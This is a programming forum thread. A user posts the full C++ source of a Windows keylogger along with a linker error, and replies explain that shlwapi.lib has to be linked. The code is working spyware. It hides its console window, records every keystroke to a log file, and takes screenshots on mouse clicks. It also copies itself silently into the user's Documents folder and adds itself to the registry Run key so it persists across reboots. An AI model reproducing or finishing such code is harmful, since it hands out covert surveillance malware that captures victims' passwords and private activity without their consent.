Error LNK2019 (PathFileExists and PathFindFileName)

[Winneris1]

Hello!
I am getting this error when I compile. What am I missing out?

1>keylogger test 2.obj : error LNK2019: unresolved external symbol __imp__PathFileExistsA@4 referenced in function "bool __cdecl mainCopy(void)" (?mainCopy@@YA_NXZ)
1>keylogger test 2.obj : error LNK2019: unresolved external symbol __imp__PathFindFileNameA@4 referenced in function "bool __cdecl mainCopy(void)" (?mainCopy@@YA_NXZ)
1>C:\Users\Anas\documents\visual studio 2010\Projects\keylogger test 2\Debug\keylogger test 2.exe : fatal error LNK1120: 2 unresolved externals

Here's my code:

// keylogger test 2.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <GdiPlus.h>
#include <time.h>
#include <Lmcons.h>
#include <tchar.h>
#include <stdio.h>
#include <shellapi.h>
#include <Shlwapi.h>
#include <shlobj.h>


using namespace std;

void stealth ();
int save (int key_stroke, TCHAR *file);

void gdiscreen();
int GetEncoderClsid(const WCHAR* format, CLSID* pClsid);


bool winStart();  //Windows Startup

bool mainCopy (); // copies to main folder

int main()
{
	stealth ();
	mainCopy ();  //copies to main folder
	winStart();  //Windows Startup
	

	TCHAR pcName [250]; 
	DWORD size = 20;
	GetUserName(pcName,&size);//Gets username.


	TCHAR directory[200];
	wsprintf(directory, "C:/Users/%s/Documents/keylogger" ,pcName, pcName);
	CreateDirectory (directory, NULL);
	wsprintf(directory, "C:/Users/%s/Documents/keylogger/%s", pcName, pcName);
	CreateDirectory (directory, NULL);
	wsprintf(directory, "C:/Users/%s/Documents/keylogger/%s/data", pcName, pcName);
	CreateDirectory (directory, NULL);
	wsprintf(directory, "C:/Users/%s/Documents/keylogger/%s/data/images", pcName, pcName);
	CreateDirectory (directory, NULL);


	TCHAR filename [200];
	wsprintf(filename,"C:/Users/%s/Documents/keylogger/%s/data/Log.txt", pcName, pcName);


	while(1==1)
	{
		for (int keyValue = 0; keyValue < 256; keyValue++)
		{
		  if (GetAsyncKeyState(keyValue) ==-32767)
		  {
			  save(keyValue, filename);
			  break;
		  }
		  
		}
		
	}

	

	system ("PAUSE");
	return 0;
}


void stealth ()
{
	//hides the window
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("consoleWindowClass", NULL);
    ShowWindow(stealth, 0);
}

int save (int key_stroke, TCHAR *file){
    if((key_stroke == 1) || (key_stroke == 2)) 
	{
		if(key_stroke == 1)
		{
			FILE *OUTPUT_FILE;
			OUTPUT_FILE = fopen(file, "a+"); 
			fprintf (OUTPUT_FILE, "%s", " [CLICK] ");
			fclose(OUTPUT_FILE);
		}

		gdiscreen();

	}


	else
	{
		FILE *OUTPUT_FILE;
	    OUTPUT_FILE = fopen(file, "a+"); 

   
		if(key_stroke == 18) fprintf(OUTPUT_FILE, "%s", "[ALT] ");	
		else if(key_stroke == 91) fprintf(OUTPUT_FILE, "%s", " [WINDOWS] ");
	    else if(key_stroke == 17) fprintf(OUTPUT_FILE, "%s", " [CONTROL] ");
	    else if(key_stroke == 16) fprintf(OUTPUT_FILE, "%s", " [SHIFT] ");
	    else if(key_stroke == 20) fprintf(OUTPUT_FILE, "%s", " [CAPS LOCK] ");
	    else if(key_stroke == 9)   fprintf(OUTPUT_FILE, "%s", "\t");
	    else if(key_stroke == 36) fprintf(OUTPUT_FILE, "%s", " [HOME] ");
	    else if(key_stroke == 35) fprintf(OUTPUT_FILE, "%s", " [END] ");
	    else if(key_stroke == 46) fprintf(OUTPUT_FILE, "%s", " [DELETE] ");
	    else if(key_stroke == 33) fprintf(OUTPUT_FILE, "%s", " [PAGE UP] ");
	    else if(key_stroke == 45) fprintf(OUTPUT_FILE, "%s", " [INSERT] ");
	    else if(key_stroke == 34) fprintf(OUTPUT_FILE, "%s", " [PAGE DOWN] ");

	    else fprintf(OUTPUT_FILE, "%s", &key_stroke);

		fclose(OUTPUT_FILE);
		cout << key_stroke << endl;
	}

return 0;
}



void gdiscreen()
{
	using namespace Gdiplus;
	GdiplusStartupInput gdiplusStartupInput;
	ULONG_PTR gdiplusToken;
	GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);

	{
		

		wchar_t pcName [20];
		DWORD size = sizeof ( pcName );
		GetUserNameW(pcName,&size);

		SYSTEMTIME st;
		GetLocalTime(&st);
		wchar_t filename[200];
		memset(filename,0,sizeof(filename));
		wsprintfW(filename, L"C:/Users/%s/Documents/keylogger/%s/data/images/%04d-%02d-%02d %02d-%02d-%02d_%03d.jpeg" ,pcName, pcName, st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);

		HDC scrdc, memdc;
		HBITMAP membit;
		scrdc = ::GetDC(0);
		int Height = GetSystemMetrics(SM_CYSCREEN);
		int Width = GetSystemMetrics(SM_CXSCREEN);
		memdc = CreateCompatibleDC(scrdc);
		membit = CreateCompatibleBitmap(scrdc, Width, Height);
		HBITMAP hOldBitmap =(HBITMAP) SelectObject(memdc, membit);
		BitBlt(memdc, 0, 0, Width, Height, scrdc, 0, 0, SRCCOPY);

		Gdiplus::Bitmap bitmap(membit, NULL);
		CLSID clsid;
		GetEncoderClsid(L"image/jpeg", &clsid);
		bitmap.Save(filename , &clsid);

		SelectObject(memdc, hOldBitmap);

		DeleteObject(memdc);

		DeleteObject(membit);

		::ReleaseDC(0,scrdc);
	}

	GdiplusShutdown(gdiplusToken);
}

int GetEncoderClsid(const WCHAR* format, CLSID* pClsid)
{
	using namespace Gdiplus;
	UINT  num = 0;          // number of image encoders
	UINT  size = 0;         // size of the image encoder array in bytes

	ImageCodecInfo* pImageCodecInfo = NULL;

	GetImageEncodersSize(&num, &size);
	if(size == 0)
		return -1;  // Failure

	pImageCodecInfo = (ImageCodecInfo*)(malloc(size));
	if(pImageCodecInfo == NULL)
		return -1;  // Failure

	GetImageEncoders(num, size, pImageCodecInfo);

	for(UINT j = 0; j < num; ++j)
	{
		if( wcscmp(pImageCodecInfo[j].MimeType, format) == 0 )
		{
			*pClsid = pImageCodecInfo[j].Clsid;
			free(pImageCodecInfo);
			return j;  // Success
		}    
	}

	free(pImageCodecInfo);
	return 0;
}





bool winStart()  //Windows Startup

{

    TCHAR szPath[MAX_PATH];

    DWORD pathLen = 0;

	TCHAR pcName [250]; 
	DWORD size = 20;
	GetUserName(pcName,&size);//Gets username.

	char valData [300];
	DWORD sizeV=300;

	sprintf(valData, "\"C:\\Users\\%s\\Documents\\keylogger\\%s\\keylogger test 2.exe\"", pcName, pcName);


    // GetModuleFileName returns the number of characters

    // written to the array.

    pathLen = GetModuleFileName(NULL, szPath, MAX_PATH);

    if (pathLen == 0)

    {

    return false;

    }

 

    HKEY newValue;

 

    if (RegOpenKey(HKEY_CURRENT_USER,

    TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),

    &newValue) != ERROR_SUCCESS)

	{

    return false;

    }

  

    // Need to pass the length of the path string in bytes,

    // which may not equal the number of characters due to

    // character set.

     DWORD pathLenInBytes = pathLen * sizeof(*szPath);

    if (RegSetValueEx(newValue,

    TEXT("keylogger test 2"),

    0,

    REG_SZ,

    (BYTE*) valData,

    sizeV) != ERROR_SUCCESS)

    {

    RegCloseKey(newValue);

    return false;

    }

 

    RegCloseKey(newValue);

 

    return true;

}

bool mainCopy ()
{

	// get path and file name of this .exe
    char szSource[MAX_PATH] = {0};
    GetModuleFileName (0, szSource, MAX_PATH);

    // get file name from path
	char * strFileName= PathFindFileName(szSource);
    

	// make sure filename is "keylogger test 2"
	char name [20]= "keylogger test 2";
	rename (strFileName, name );
	//strFileName = PathFindFileName(name);

	// get path to 'keylogger' folder
    TCHAR pcName [250]; 
	DWORD size = 20;
	GetUserName(pcName,&size);//Gets username.
	char directory [300];
	DWORD sizeV=300;
	sprintf(directory, "C:\\Users\\%s\\Documents\\keylogger\\%s\\keylogger test 2.exe", pcName, pcName);

   // fill FileOp structure (for copying a file)
   SHFILEOPSTRUCT fo = {0};
   fo.hwnd = NULL;
   fo.pFrom = szSource;
   fo.pTo = directory;
   fo.wFunc = FO_COPY;
   fo.fFlags = FOF_NOCONFIRMATION|FOF_SILENT;

   // if file isn't already there,
   // do file operation (copy)
   if (!PathFileExists(directory))
   {
      SHFileOperation(&fo);
	  return true;
   }
   else
   {
	   return false;
   }

}

Thanks :D

[MiiNiPaa]

It cannot find PathFindFileName() and PathFileExists() function definitions.
Some library files isn't linked probably.

[Winneris1]

But I included "Shlwapi.h" which should do the trick.

[Fransje]

No, that's just the header file that provides the declarations. The definitions of the functions are in some library. Make sure you link that library properly, like miinipaa said.

[Winneris1]

What do I search for exactly to find out which library I need?

[modoran]

In every MSDN page you get the library name required (some of them are automatically added by the compiler, but not all)

In your case it needs shlwapi.lib.
http://msdn.microsoft.com/en-us/library/windows/desktop/bb773584(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/windows/desktop/bb773589(v=vs.85).aspx

[Winneris1]

Thank you, this solved my problem.